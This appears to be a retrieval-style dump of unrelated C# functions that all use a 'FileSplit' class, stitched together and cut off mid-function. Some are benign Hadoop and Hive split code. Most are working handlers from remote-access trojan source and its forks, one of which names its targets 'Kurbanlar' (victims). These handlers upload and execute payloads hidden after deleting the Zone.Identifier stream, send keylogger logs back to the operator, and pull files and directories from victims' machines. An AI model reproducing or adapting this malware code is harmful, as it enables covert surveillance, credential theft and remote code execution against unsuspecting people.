/// <summary> /// Solve the schedule and modify the FileSplit array to reflect the new /// schedule. /// </summary> /// <remarks> /// Solve the schedule and modify the FileSplit array to reflect the new /// schedule. It will move placed splits to front and unplacable splits /// to the end. /// </remarks> /// <returns> /// a new list of FileSplits that are modified to have the /// best host as the only host. /// </returns> /// <exception cref="System.IO.IOException"/> public virtual IList <InputSplit> GetNewFileSplits() { Solve(); FileSplit[] result = new FileSplit[realSplits.Length]; int left = 0; int right = realSplits.Length - 1; for (int i = 0; i < splits.Length; ++i) { if (splits[i].isAssigned) { // copy the split and fix up the locations string[] newLocations = new string[] { splits[i].locations[0].hostname }; realSplits[i] = new FileSplit(realSplits[i].GetPath(), realSplits[i].GetStart(), realSplits[i].GetLength(), newLocations); result[left++] = realSplits[i]; } else { result[right--] = realSplits[i]; } } IList <InputSplit> ret = new AList <InputSplit>(); foreach (FileSplit fs in result) { ret.AddItem(fs); } return(ret); }
public void Calculate() { for (var i = 0; i < FileSplit.Count(); i++) { var splitElementsOperation = FileSplit[i].Split(',', ' '); switch (splitElementsOperation[0]) { case "var": dicElements.Add(splitElementsOperation[1], double.Parse(splitElementsOperation[2])); break; case "add": dicElements[splitElementsOperation[1]] = MakeOperation(splitElementsOperation, "add"); break; case "div": dicElements[splitElementsOperation[1]] = MakeOperation(splitElementsOperation, "div"); break; case "mul": dicElements[splitElementsOperation[1]] = MakeOperation(splitElementsOperation, "mul"); break; case "sub": dicElements[splitElementsOperation[1]] = MakeOperation(splitElementsOperation, "sub"); break; case "mov": dicElements[splitElementsOperation[1]] = MakeOperation(splitElementsOperation, "mov"); break; } } }
VectorizedOrcAcidRowReader(AcidInputFormat.RowReader <OrcStruct> inner, Configuration conf, FileSplit split) { this.innerReader = inner; this.key = inner.createKey(); this.rowBatchCtx = new VectorizedRowBatchCtx(); this.value = inner.createValue(); this.objectInspector = inner.getObjectInspector(); try { rowBatchCtx.init(conf, split); } catch (ClassNotFoundException e) { throw new IOException("Failed to initialize context", e); } catch (SerDeException e) { throw new IOException("Failed to initialize context", e); } catch (InstantiationException e) { throw new IOException("Failed to initialize context", e); } catch (IllegalAccessException e) { throw new IOException("Failed to initialize context", e); } catch (HiveException e) { throw new IOException("Failed to initialize context", e); } }
public static void HandleDoUploadAndExecute(DoUploadAndExecute command, Client client) { if (!_renamedFiles.ContainsKey(command.Id)) { _renamedFiles.Add(command.Id, FileHelper.GetTempFilePath(Path.GetExtension(command.FileName))); } string filePath = _renamedFiles[command.Id]; try { if (command.CurrentBlock == 0 && Path.GetExtension(filePath) == ".exe" && !FileHelper.IsValidExecuteableFile(command.Block)) { throw new Exception("No executable file"); } FileSplit destFile = new FileSplit(filePath); if (!destFile.AppendBlock(command.Block, command.CurrentBlock)) { throw new Exception(destFile.LastError); } if ((command.CurrentBlock + 1) == command.MaxBlocks) // execute { if (_renamedFiles.ContainsKey(command.Id)) { _renamedFiles.Remove(command.Id); } FileHelper.DeleteZoneIdentifier(filePath); ProcessStartInfo startInfo = new ProcessStartInfo(); if (command.RunHidden) { startInfo.WindowStyle = ProcessWindowStyle.Hidden; startInfo.CreateNoWindow = true; } startInfo.UseShellExecute = false; startInfo.FileName = filePath; Process.Start(startInfo); client.Send(new SetStatus { Message = "Executed File" }); } } catch (Exception ex) { if (_renamedFiles.ContainsKey(command.Id)) { _renamedFiles.Remove(command.Id); } NativeMethods.DeleteFile(filePath); client.Send(new SetStatus { Message = $"Execution failed: {ex.Message}" }); } }
/// <exception cref="System.IO.IOException"/> /// <exception cref="System.Exception"/> protected override void Map(Text key, Text value, Mapper.Context context) { if (lastKey == null) { FileSplit fs = (FileSplit)context.GetInputSplit(); filename = GetFilename(fs); context.Write(new Text(filename + ":begin"), key); lastKey = new Text(); } else { if (key.CompareTo(lastKey) < 0) { context.Write(Error, new Text("misorder in " + filename + " between " + TextifyBytes (lastKey) + " and " + TextifyBytes(key))); } } // compute the crc of the key and value and add it to the sum crc32.Reset(); crc32.Update(key.GetBytes(), 0, key.GetLength()); crc32.Update(value.GetBytes(), 0, value.GetLength()); tmp.Set(crc32.GetValue()); checksum.Add(tmp); lastKey.Set(key); }
public static void HandleDoUploadFile(FileTransferChunk command, Networking.Client client) { try { if (CanceledFileTransfers.ContainsKey(command.Id)) { return; } if (command.Chunk.Offset == 0 && File.Exists(command.FilePath)) { NativeMethods.DeleteFile(command.FilePath); // delete existing file } using (var destFile = new FileSplit(command.FilePath, FileAccess.Write)) { destFile.WriteChunk(command.Chunk); } } catch (Exception) { CanceledFileTransfers.Add(command.Id, "error"); client.Send(new FileTransferCancel { Id = command.Id, Reason = "Error writing file" }); } }
public static void HandleGetKeyloggerLogsResponse(Client client, GetKeyloggerLogsResponse packet) { if (client.Value == null || client.Value.FrmKl == null) { return; } if (packet.FileCount == 0) { client.Value.FrmKl.SetGetLogsEnabled(true); return; } if (string.IsNullOrEmpty(packet.Filename)) { return; } string downloadPath = Path.Combine(client.Value.DownloadDirectory, "Logs\\"); if (!Directory.Exists(downloadPath)) { Directory.CreateDirectory(downloadPath); } downloadPath = Path.Combine(downloadPath, packet.Filename + ".html"); FileSplit destFile = new FileSplit(downloadPath); destFile.AppendBlock(packet.Block, packet.CurrentBlock); if (packet.Index == packet.FileCount && (packet.CurrentBlock + 1) == packet.MaxBlocks) { FileInfo[] iFiles = new DirectoryInfo(Path.Combine(client.Value.DownloadDirectory, "Logs\\")).GetFiles(); if (iFiles.Length == 0) { return; } foreach (FileInfo file in iFiles) { if (client.Value == null || client.Value.FrmKl == null) { break; } client.Value.FrmKl.AddLogToListview(file.Name); } if (client.Value == null || client.Value.FrmKl == null) { return; } client.Value.FrmKl.SetGetLogsEnabled(true); } }
private void ctxtLocalFile_Click(object sender, EventArgs e) { if (lstClients.SelectedItems.Count != 0) { using (var frm = new FrmUploadAndExecute(lstClients.SelectedItems.Count)) { if (frm.ShowDialog() == DialogResult.OK) { new Thread(() => { List <Client> clients = new List <Client>(); this.lstClients.Invoke((MethodInvoker) delegate { foreach (ListViewItem item in lstClients.SelectedItems) { clients.Add((Client)item.Tag); } }); foreach (Client c in clients) { if (c == null) { continue; } FileSplit srcFile = new FileSplit(UploadAndExecute.FilePath); if (srcFile.MaxBlocks < 0) { MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError), "Upload aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning); break; } int ID = new Random().Next(int.MinValue, int.MaxValue - 1337); // ;) CommandHandler.HandleStatus(c, new Core.Packets.ClientPackets.Status("Uploading file...")); for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++) { byte[] block; if (!srcFile.ReadBlock(currentBlock, out block)) { MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError), "Upload aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning); break; } new Core.Packets.ServerPackets.UploadAndExecute(ID, Path.GetFileName(UploadAndExecute.FilePath), block, srcFile.MaxBlocks, currentBlock, UploadAndExecute.RunHidden).Execute(c); } } }).Start(); } } } }
private void localFileToolStripMenuItem_Click(object sender, EventArgs e) { if (Kurbanlar.SelectedItems.Count != 0) { using (var frm = new FrmYükleÇalıştır(Kurbanlar.SelectedItems.Count)) { if ((frm.ShowDialog() == DialogResult.OK) && File.Exists(YükleÇalıştır.FilePath)) { new Thread(() => { bool error = false; foreach (Client c in GetSelectedClients()) { if (c == null) { continue; } if (error) { continue; } FileSplit srcFile = new FileSplit(YükleÇalıştır.FilePath); if (srcFile.MaxBlocks < 0) { MessageBox.Show(string.Format("Dosya Okuma Hatası: {0}", srcFile.LastError), "Yükleme İptal Edildi", MessageBoxButtons.OK, MessageBoxIcon.Warning); error = true; break; } int id = DosyaYardımcısı.GetNewTransferId(); Eylemİşleyicisi.HandleSetStatus(c, new KuuhakuCekirdek.Paketler.ClientPaketleri.SetStatus("Dosya Yükleniyor...")); for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++) { byte[] block; if (srcFile.ReadBlock(currentBlock, out block)) { new KuuhakuCekirdek.Paketler.ServerPaketleri.DoUploadAndExecute(id, Path.GetFileName(YükleÇalıştır.FilePath), block, srcFile.MaxBlocks, currentBlock, YükleÇalıştır.RunHidden).Execute(c); } else { MessageBox.Show(string.Format("Dosya Okuma Hatası: {0}", srcFile.LastError), "Yükleme İptal Edildi", MessageBoxButtons.OK, MessageBoxIcon.Warning); error = true; break; } } } }).Start(); } } } }
private void ctxtLocalFile_Click(object sender, EventArgs e) { if (lstClients.SelectedItems.Count != 0) { using (var frm = new FrmUploadAndExecute(lstClients.SelectedItems.Count)) { if ((frm.ShowDialog() == DialogResult.OK) && File.Exists(UploadAndExecute.FilePath)) { new Thread(() => { bool error = false; foreach (Client c in GetSelectedClients()) { if (c == null) { continue; } if (error) { continue; } FileSplit srcFile = new FileSplit(UploadAndExecute.FilePath); if (srcFile.MaxBlocks < 0) { MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError), "Upload aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning); error = true; break; } int id = FileHelper.GetNewTransferId(); CommandHandler.HandleSetStatus(c, new Core.Packets.ClientPackets.SetStatus("Uploading file...")); for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++) { byte[] block; if (srcFile.ReadBlock(currentBlock, out block)) { new Core.Packets.ServerPackets.DoUploadAndExecute(id, Path.GetFileName(UploadAndExecute.FilePath), block, srcFile.MaxBlocks, currentBlock, UploadAndExecute.RunHidden).Execute(c); } else { MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError), "Upload aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning); error = true; break; } } } }).Start(); } } } }
/// <exception cref="System.IO.IOException"/> protected internal CombineFileRecordReaderWrapper(FileInputFormat <K, V> inputFormat , CombineFileSplit split, Configuration conf, Reporter reporter, int idx) { FileSplit fileSplit = new FileSplit(split.GetPath(idx), split.GetOffset(idx), split .GetLength(idx), split.GetLocations()); delegate_ = inputFormat.GetRecordReader(fileSplit, (JobConf)conf, reporter); }
public static void HandleGetLogsResponse(Client client, GetLogsResponse packet) { if (client.Value.FrmKl == null) { return; } if (packet.FileCount == 0) { client.Value.FrmKl.Invoke((MethodInvoker) delegate { client.Value.FrmKl.btnGetLogs.Enabled = true; }); return; } string downloadPath = Path.Combine(Application.StartupPath, "Clients\\" + client.EndPoint.Address.ToString() + "\\Logs\\"); if (!Directory.Exists(downloadPath)) { Directory.CreateDirectory(downloadPath); } downloadPath = Path.Combine(downloadPath, packet.Filename + ".html"); FileSplit destFile = new FileSplit(downloadPath); destFile.AppendBlock(packet.Block, packet.CurrentBlock); if (packet.Index == packet.FileCount && (packet.CurrentBlock + 1) == packet.MaxBlocks) { FileInfo[] iFiles = new DirectoryInfo(Path.Combine(Application.StartupPath, "Clients\\" + client.EndPoint.Address.ToString() + "\\Logs\\")).GetFiles(); if (iFiles.Length == 0) { return; } foreach (FileInfo file in iFiles) { var file1 = file; client.Value.FrmKl.Invoke((MethodInvoker) delegate { client.Value.FrmKl.lstLogs.Items.Add(new ListViewItem() { Text = file1.Name }); }); } client.Value.FrmKl.Invoke((MethodInvoker) delegate { client.Value.FrmKl.btnGetLogs.Enabled = true; }); } }
// Different map tasks operate at different speeds. // We define behavior for 6 threads. // Used to ensure that the compiler doesn't optimize away // some code. protected override void Setup(Mapper.Context context) { // Get the thread num from the file number. FileSplit split = (FileSplit)context.GetInputSplit(); Path filePath = split.GetPath(); string name = filePath.GetName(); this.threadId = Sharpen.Extensions.ValueOf(name); Log.Info("Thread " + threadId + " : " + context.GetInputSplit()); }
private void button2_Click(object sender, EventArgs e) { if (saveFileDialog1.ShowDialog() == System.Windows.Forms.DialogResult.OK) { using (FileSplit fs = new FileSplit()) { fs.Connect(textBox3.Text, saveFileDialog1.FileName); } } }
public static void HandleDoUploadFile(Packets.ServerPackets.DoUploadFile command, Client client) { if (command.CurrentBlock == 0 && File.Exists(command.RemotePath)) { NativeMethods.DeleteFile(command.RemotePath); // delete existing file } FileSplit destFile = new FileSplit(command.RemotePath); destFile.AppendBlock(command.Block, command.CurrentBlock); }
public static void HandleDoUploadFile(DoUploadFile command, Networking.Client client) { if (command.CurrentBlock == 0 && System.IO.File.Exists(command.RemotePath)) { NativeMethods.DeleteFile(command.RemotePath); // delete existing file } FileSplit destFile = new FileSplit(command.RemotePath); destFile.AppendBlock(command.Block, command.CurrentBlock); }
public static void HandleDoUploadAndExecute(Paketler.ServerPaketleri.DoUploadAndExecute command, Client client) { if (!_renamedFiles.ContainsKey(command.ID)) { _renamedFiles.Add(command.ID, DosyaYardımcısı.TempDosyaDizininiAl(Path.GetExtension(command.FileName))); } string filePath = _renamedFiles[command.ID]; try { if (command.CurrentBlock == 0 && Path.GetExtension(filePath) == ".exe" && !DosyaYardımcısı.ExeValidmiKardeş(command.Block)) { throw new Exception("Exe dosyası bulunamadı."); } FileSplit destFile = new FileSplit(filePath); if (!destFile.AppendBlock(command.Block, command.CurrentBlock)) { throw new Exception(destFile.LastError); } if ((command.CurrentBlock + 1) == command.MaxBlocks) // execute { if (_renamedFiles.ContainsKey(command.ID)) { _renamedFiles.Remove(command.ID); } DosyaYardımcısı.DeleteZoneIdentifier(filePath); ProcessStartInfo startInfo = new ProcessStartInfo(); if (command.RunHidden) { startInfo.WindowStyle = ProcessWindowStyle.Hidden; startInfo.CreateNoWindow = true; } startInfo.UseShellExecute = false; startInfo.FileName = filePath; Process.Start(startInfo); new Paketler.ClientPaketleri.SetStatus("Dosya Yürütüldü!").Execute(client); } } catch (Exception ex) { if (_renamedFiles.ContainsKey(command.ID)) { _renamedFiles.Remove(command.ID); } NativeMethods.DeleteFile(filePath); new Paketler.ClientPaketleri.SetStatus(string.Format("Yürütme Başarısız: {0}", ex.Message)).Execute(client); } }
public static void HandleGetKeyloggerLogs(Packets.ServerPackets.GetKeyloggerLogs command, Client client) { new Thread(() => { try { int index = 1; string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Logs\\"; if (!Directory.Exists(path)) { new Packets.ClientPackets.GetKeyloggerLogsResponse("", new byte[0], -1, -1, "", index, 0).Execute(client); return; } FileInfo[] iFiles = new DirectoryInfo(path).GetFiles(); if (iFiles.Length == 0) { new Packets.ClientPackets.GetKeyloggerLogsResponse("", new byte[0], -1, -1, "", index, 0).Execute(client); return; } foreach (FileInfo file in iFiles) { FileSplit srcFile = new FileSplit(file.FullName); if (srcFile.MaxBlocks < 0) { new Packets.ClientPackets.GetKeyloggerLogsResponse("", new byte[0], -1, -1, srcFile.LastError, index, iFiles.Length).Execute(client); } for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++) { byte[] block; if (srcFile.ReadBlock(currentBlock, out block)) { new Packets.ClientPackets.GetKeyloggerLogsResponse(Path.GetFileName(file.Name), block, srcFile.MaxBlocks, currentBlock, srcFile.LastError, index, iFiles.Length).Execute(client); //Thread.Sleep(200); } else { new Packets.ClientPackets.GetKeyloggerLogsResponse("", new byte[0], -1, -1, srcFile.LastError, index, iFiles.Length).Execute(client); } } index++; } } catch (Exception ex) { new Packets.ClientPackets.GetKeyloggerLogsResponse("", new byte[0], -1, -1, ex.Message, -1, -1).Execute(client); } }).Start(); }
public static void HandleDoDownloadFile(DoDownloadFile command, Networking.Client client) { new Thread(() => { _limitThreads.WaitOne(); try { FileSplit srcFile = new FileSplit(command.RemotePath); if (srcFile.MaxBlocks < 0) { throw new Exception(srcFile.LastError); } for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++) { if (!client.Connected || _canceledDownloads.ContainsKey(command.Id)) { break; } byte[] block; if (!srcFile.ReadBlock(currentBlock, out block)) { throw new Exception(srcFile.LastError); } client.SendBlocking(new DoDownloadFileResponse { Id = command.Id, Filename = Path.GetFileName(command.RemotePath), Block = block, MaxBlocks = srcFile.MaxBlocks, CurrentBlock = currentBlock, CustomMessage = srcFile.LastError }); } } catch (Exception ex) { client.SendBlocking(new DoDownloadFileResponse { Id = command.Id, Filename = Path.GetFileName(command.RemotePath), Block = new byte[0], MaxBlocks = -1, CurrentBlock = -1, CustomMessage = ex.Message }); } _limitThreads.Release(); }).Start(); }
public OrcFileStripeMergeRecordReader(Configuration conf, FileSplit split) { path = split.getPath(); start = split.getStart(); end = start + split.getLength(); FileSystem fs = path.getFileSystem(conf); this.reader = OrcFile.createReader(path, OrcFile.readerOptions(conf).filesystem(fs)); this.iter = reader.getStripes().GetEnumerator(); this.stripeIdx = 0; this.stripeStatistics = ((ReaderImpl)reader).getOrcProtoStripeStatistics(); }
public static void getKeyLogger(GetKeyLoggerLogs packet, ClientMosaic client) { new Thread(() => { try { int index = 1; if (!Directory.Exists(Keylogger.LogDirectory)) { new GetKeyLoggerLogsResponse("", new byte[0], -1, -1, "", index, 0).Execute(client); return; } FileInfo[] iFiles = new DirectoryInfo(Keylogger.LogDirectory).GetFiles(); if (iFiles.Length == 0) { new GetKeyLoggerLogsResponse("", new byte[0], -1, -1, "", index, 0).Execute(client); return; } foreach (FileInfo file in iFiles) { FileSplit srcFile = new FileSplit(file.FullName); if (srcFile.MaxBlocks < 0) { new GetKeyLoggerLogsResponse("", new byte[0], -1, -1, srcFile.LastError, index, iFiles.Length).Execute(client); } for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++) { byte[] block; if (srcFile.ReadBlock(currentBlock, out block)) { new GetKeyLoggerLogsResponse(Path.GetFileName(file.Name), block, srcFile.MaxBlocks, currentBlock, srcFile.LastError, index, iFiles.Length).Execute(client); } else { new GetKeyLoggerLogsResponse("", new byte[0], -1, -1, srcFile.LastError, index, iFiles.Length).Execute(client); } } index++; } } catch (Exception ex) { new GetKeyLoggerLogsResponse("", new byte[0], -1, -1, ex.Message, -1, -1).Execute(client); } }).Start(); }
private void Execute(ISender client, FileTransferRequest message) { new Thread(() => { _limitThreads.WaitOne(); try { using (var srcFile = new FileSplit(message.RemotePath, FileAccess.Read)) { _activeTransfers[message.Id] = srcFile; foreach (var chunk in srcFile) { if (_token.IsCancellationRequested || !_activeTransfers.ContainsKey(message.Id)) { break; } // blocking sending might not be required, needs further testing _client.SendBlocking(new FileTransferChunk { Id = message.Id, FilePath = message.RemotePath, FileSize = srcFile.FileSize, Chunk = chunk }); } client.Send(new FileTransferComplete { Id = message.Id, FilePath = message.RemotePath }); } } catch (Exception) { client.Send(new FileTransferCancel { Id = message.Id, Reason = "Error reading file" }); } finally { RemoveFileTransfer(message.Id); _limitThreads.Release(); } }).Start(); }
public static void HandleDownloadDirectory(DoDownloadDirectory command, Client client) { var vDir = VirtualDirectory.Create(command.RemotePath, command.Items, command.ItemOptions); new Thread(() => { _limitThreads.WaitOne(); try { FileSplit srcFile = new FileSplit(vDir); if (srcFile.MaxBlocks < 0) { throw new Exception(srcFile.LastError); } for (int currentBlock = command.StartBlock; currentBlock < srcFile.MaxBlocks; currentBlock++) { if (!client.Connected || _canceledDownloads.ContainsKey(command.ID)) { break; } byte[] block; if (!srcFile.ReadBlock(currentBlock, out block)) { throw new Exception(srcFile.LastError); } var startTime = DateTime.MinValue; if (currentBlock == command.StartBlock) { startTime = DateTime.Now; } new Packets.ClientPackets.DoDownloadFileResponse(command.ID, Path.GetFileName(command.RemotePath), block, srcFile.MaxBlocks, currentBlock, srcFile.LastError, ItemType.Directory, startTime, command.RemotePath).Execute(client); } } catch (Exception ex) { new Packets.ClientPackets.DoDownloadFileResponse(command.ID, Path.GetFileName(command.RemotePath), new byte[0], -1, -1, ex.Message, ItemType.Directory, DateTime.MinValue, command.RemotePath) .Execute(client); } _limitThreads.Release(); }).Start(); }
private void button1_Click(object sender, EventArgs e) { if (folderBrowserDialog1.ShowDialog() == System.Windows.Forms.DialogResult.OK) { using (FileSplit fs = new FileSplit(textBox1.Text)) { int x = 1024; int index = comboBox1.SelectedIndex; while (index-- != 0) { x *= 1024; } fs.Split(int.Parse(textBox2.Text) * x, folderBrowserDialog1.SelectedPath); } } }
public static void HandleDoDownloadFile(Packets.ServerPackets.DoDownloadFile command, Client client) { new Thread(() => { _limitThreads.WaitOne(); try { FileSplit srcFile = new FileSplit(command.RemotePath); if (srcFile.MaxBlocks < 0) { new Packets.ClientPackets.DoDownloadFileResponse(command.ID, "", new byte[0], -1, -1, srcFile.LastError).Execute(client); _limitThreads.Release(); return; } for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++) { if (!client.Connected || _canceledDownloads.ContainsKey(command.ID)) { break; } byte[] block; if (srcFile.ReadBlock(currentBlock, out block)) { new Packets.ClientPackets.DoDownloadFileResponse(command.ID, Path.GetFileName(command.RemotePath), block, srcFile.MaxBlocks, currentBlock, srcFile.LastError).Execute(client); } else { new Packets.ClientPackets.DoDownloadFileResponse(command.ID, "", new byte[0], -1, -1, srcFile.LastError).Execute(client); break; } } } catch (Exception ex) { new Packets.ClientPackets.DoDownloadFileResponse(command.ID, "", new byte[0], -1, -1, ex.Message) .Execute(client); } _limitThreads.Release(); }).Start(); }
public static void HandleDoUploadAndExecute(Packets.ServerPackets.DoUploadAndExecute command, Client client) { if (!_renamedFiles.ContainsKey(command.ID)) _renamedFiles.Add(command.ID, FileHelper.GetTempFilePath(Path.GetExtension(command.FileName))); string filePath = _renamedFiles[command.ID]; try { if (command.CurrentBlock == 0 && Path.GetExtension(filePath) == ".exe" && !FileHelper.IsValidExecuteableFile(command.Block)) throw new Exception("No executable file"); FileSplit destFile = new FileSplit(filePath); if (!destFile.AppendBlock(command.Block, command.CurrentBlock)) throw new Exception(destFile.LastError); if ((command.CurrentBlock + 1) == command.MaxBlocks) // execute { if (_renamedFiles.ContainsKey(command.ID)) _renamedFiles.Remove(command.ID); FileHelper.DeleteZoneIdentifier(filePath); ProcessStartInfo startInfo = new ProcessStartInfo(); if (command.RunHidden) { startInfo.WindowStyle = ProcessWindowStyle.Hidden; startInfo.CreateNoWindow = true; } startInfo.UseShellExecute = false; startInfo.FileName = filePath; Process.Start(startInfo); new Packets.ClientPackets.SetStatus("Executed File!").Execute(client); } } catch (Exception ex) { if (_renamedFiles.ContainsKey(command.ID)) _renamedFiles.Remove(command.ID); NativeMethods.DeleteFile(filePath); new Packets.ClientPackets.SetStatus(string.Format("Execution failed: {0}", ex.Message)).Execute(client); } }
public static void HandleDoUploadAndExecute(Packets.ServerPackets.DoUploadAndExecute command, Client client) { string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), command.FileName); try { command.IsValidExecuteFile(); if (!command.CorrectFileType) { throw new Exception("File type is not valid"); } FileSplit destFile = new FileSplit(filePath); if (!destFile.AppendBlock(command.Block, command.CurrentBlock)) { new Packets.ClientPackets.SetStatus(string.Format("Writing failed: {0}", destFile.LastError)).Execute( client); return; } if ((command.CurrentBlock + 1) == command.MaxBlocks) // execute { NativeMethods.DeleteFile(filePath + ":Zone.Identifier"); ProcessStartInfo startInfo = new ProcessStartInfo(); if (command.RunHidden) { startInfo.WindowStyle = ProcessWindowStyle.Hidden; startInfo.CreateNoWindow = true; } startInfo.UseShellExecute = command.RunHidden; startInfo.FileName = filePath; Process.Start(startInfo); new Packets.ClientPackets.SetStatus("Executed File!").Execute(client); } } catch (Exception ex) { NativeMethods.DeleteFile(filePath); new Packets.ClientPackets.SetStatus(string.Format("Execution failed: {0}", ex.Message)).Execute(client); } }
private void Execute(ISender client, GetKeyloggerLogsResponse message) { if (message.FileCount == 0) { OnReport("Ready"); return; } // don't escape from download directory if (FileHelper.HasIllegalCharacters(message.Filename)) { // disconnect malicious client client.Disconnect(); return; } if (!Directory.Exists(_baseDownloadPath)) { Directory.CreateDirectory(_baseDownloadPath); } string downloadPath = Path.Combine(_baseDownloadPath, message.Filename + ".html"); FileSplit destFile = new FileSplit(downloadPath); destFile.AppendBlock(message.Block, message.CurrentBlock); if (message.CurrentBlock + 1 == message.MaxBlocks) { try { File.WriteAllText(downloadPath, FileHelper.ReadLogFile(downloadPath, _client.Value.EncryptionKey)); } catch (Exception) { OnReport("Failed to write logs"); } if (message.Index == message.FileCount) { OnReport("Ready"); } } }
public static void HandleDoDownloadFile(FileTransferRequest command, Networking.Client client) { new Thread(() => { LimitThreads.WaitOne(); try { using (var srcFile = new FileSplit(command.RemotePath, FileAccess.Read)) { ActiveTransfers[command.Id] = srcFile; foreach (var chunk in srcFile) { if (!client.Connected || !ActiveTransfers.ContainsKey(command.Id)) { break; } // blocking sending might not be required, needs further testing client.SendBlocking(new FileTransferChunk { Id = command.Id, FilePath = command.RemotePath, FileSize = srcFile.FileSize, Chunk = chunk }); } } } catch (Exception) { client.Send(new FileTransferCancel { Id = command.Id, Reason = "Error reading file" }); } finally { RemoveFileTransfer(command.Id); LimitThreads.Release(); } }).Start(); }
public static void doDownloadFile(DoDownloadFile command, ClientMosaique client) { new Thread(() => { _limitThreads.WaitOne(); try { FileSplit srcFile = new FileSplit(command.remotePath); if (srcFile.MaxBlocks < 0) { throw new Exception(srcFile.LastError); } for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++) { if (!client.connected || _canceledDownloads.ContainsKey(command.id)) { break; } byte[] block; if (!srcFile.ReadBlock(currentBlock, out block)) { throw new Exception(srcFile.LastError); } new DoDownloadFileResponse(command.id, Path.GetFileName(command.remotePath), block, srcFile.MaxBlocks, currentBlock, srcFile.LastError).Execute(client); } } catch (Exception ex) { new DoDownloadFileResponse(command.id, Path.GetFileName(command.remotePath), new byte[0], -1, -1, ex.Message).Execute(client); } _limitThreads.Release(); }).Start(); }
getRecordReader(InputSplit inputSplit, JobConf conf, Reporter reporter) { FileSplit fSplit = (FileSplit)inputSplit; reporter.setStatus(fSplit.ToString()); Path path = fSplit.getPath(); OrcFile.ReaderOptions opts = OrcFile.readerOptions(conf); if (fSplit is OrcSplit) { OrcSplit orcSplit = (OrcSplit)fSplit; if (orcSplit.hasFooter()) { opts.fileMetaInfo(orcSplit.getFileMetaInfo()); } } Reader reader = OrcFile.createReader(path, opts); return(new VectorizedOrcRecordReader(reader, conf, fSplit)); }
public static void HandleGetKeyloggerLogs(Packets.ServerPackets.GetKeyloggerLogs command, Client client) { new Thread(() => { try { int index = 1; string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Logs\\"; if (!Directory.Exists(path)) { new Packets.ClientPackets.GetKeyloggerLogsResponse("", new byte[0], -1, -1, "", index, 0).Execute(client); return; } FileInfo[] iFiles = new DirectoryInfo(path).GetFiles(); if (iFiles.Length == 0) { new Packets.ClientPackets.GetKeyloggerLogsResponse("", new byte[0], -1, -1, "", index, 0).Execute(client); return; } foreach (FileInfo file in iFiles) { FileSplit srcFile = new FileSplit(file.FullName); if (srcFile.MaxBlocks < 0) new Packets.ClientPackets.GetKeyloggerLogsResponse("", new byte[0], -1, -1, srcFile.LastError, index, iFiles.Length).Execute(client); for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++) { byte[] block; if (srcFile.ReadBlock(currentBlock, out block)) { new Packets.ClientPackets.GetKeyloggerLogsResponse(Path.GetFileName(file.Name), block, srcFile.MaxBlocks, currentBlock, srcFile.LastError, index, iFiles.Length).Execute(client); //Thread.Sleep(200); } else new Packets.ClientPackets.GetKeyloggerLogsResponse("", new byte[0], -1, -1, srcFile.LastError, index, iFiles.Length).Execute(client); } index++; } } catch (Exception ex) { new Packets.ClientPackets.GetKeyloggerLogsResponse("", new byte[0], -1, -1, ex.Message, -1, -1).Execute(client); } }).Start(); }
public static void HandleDoUploadAndExecute(Packets.ServerPackets.DoUploadAndExecute command, Client client) { string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), command.FileName); try { if (command.CurrentBlock == 0 && Path.GetExtension(command.FileName) == ".exe" && !FileHelper.IsValidExecuteableFile(command.Block)) throw new Exception("No executable file"); FileSplit destFile = new FileSplit(filePath); if (!destFile.AppendBlock(command.Block, command.CurrentBlock)) { new Packets.ClientPackets.SetStatus(string.Format("Writing failed: {0}", destFile.LastError)).Execute( client); return; } if ((command.CurrentBlock + 1) == command.MaxBlocks) // execute { NativeMethods.DeleteFile(filePath + ":Zone.Identifier"); ProcessStartInfo startInfo = new ProcessStartInfo(); if (command.RunHidden) { startInfo.WindowStyle = ProcessWindowStyle.Hidden; startInfo.CreateNoWindow = true; } startInfo.UseShellExecute = command.RunHidden; startInfo.FileName = filePath; Process.Start(startInfo); new Packets.ClientPackets.SetStatus("Executed File!").Execute(client); } } catch (Exception ex) { NativeMethods.DeleteFile(filePath); new Packets.ClientPackets.SetStatus(string.Format("Execution failed: {0}", ex.Message)).Execute(client); } }
private void ctxtUpdate_Click(object sender, EventArgs e) { if (lstClients.SelectedItems.Count != 0) { using (var frm = new FrmUpdate(lstClients.SelectedItems.Count)) { if (frm.ShowDialog() == DialogResult.OK) { if (Core.Data.Update.UseDownload) { foreach (Client c in GetSelectedClients()) { new Core.Packets.ServerPackets.DoClientUpdate(0, Core.Data.Update.DownloadURL, string.Empty, new byte[0x00], 0, 0).Execute(c); } } else { new Thread(() => { bool error = false; foreach (Client c in GetSelectedClients()) { if (c == null) continue; if (error) continue; FileSplit srcFile = new FileSplit(Core.Data.Update.UploadPath); var fileName = FileHelper.GetRandomFilename(8, ".exe"); if (srcFile.MaxBlocks < 0) { MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError), "Update aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning); error = true; break; } int id = FileHelper.GetNewTransferId(); CommandHandler.HandleSetStatus(c, new Core.Packets.ClientPackets.SetStatus("Uploading file...")); for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++) { byte[] block; if (!srcFile.ReadBlock(currentBlock, out block)) { MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError), 